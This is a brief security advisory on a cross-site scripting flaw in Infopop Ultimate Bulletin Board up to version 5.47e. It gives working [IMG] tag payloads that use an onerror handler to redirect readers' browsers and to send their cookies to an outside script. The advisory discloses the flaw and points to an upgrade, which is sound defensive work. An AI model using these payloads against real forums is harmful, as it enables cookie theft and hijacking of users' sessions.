COMMAND

	Infopop Ultimate Bulletin Board

SYSTEMS AFFECTED

	Up to 5.47e

PROBLEM

	kyprizel <kyprizel@hostel.tusur.ru> posted :
	

	Posting something like this UBB tag:
	 

	[IMG]http://about:test\"onerror=\"top.location.href=\'http://punk.tomsk.ru\';[/IMG]

	

	to Infopop Ultimate Bulletin  Board,  we  are  able  to  redirect  users
	browser to http://punk.tomsk.ru There are many  ways  to  stole  cookies
	using this vulnerabliety, one of them:
	 

	[IMG]http://about:test\"onerror=\"this.src=\'http://somedomain.com/yourscript.php\'[/IMG]

	   

	and yourscript.php - is a script to recieve users cookies 8)
	  

SOLUTION

	Upgrade available since February 2001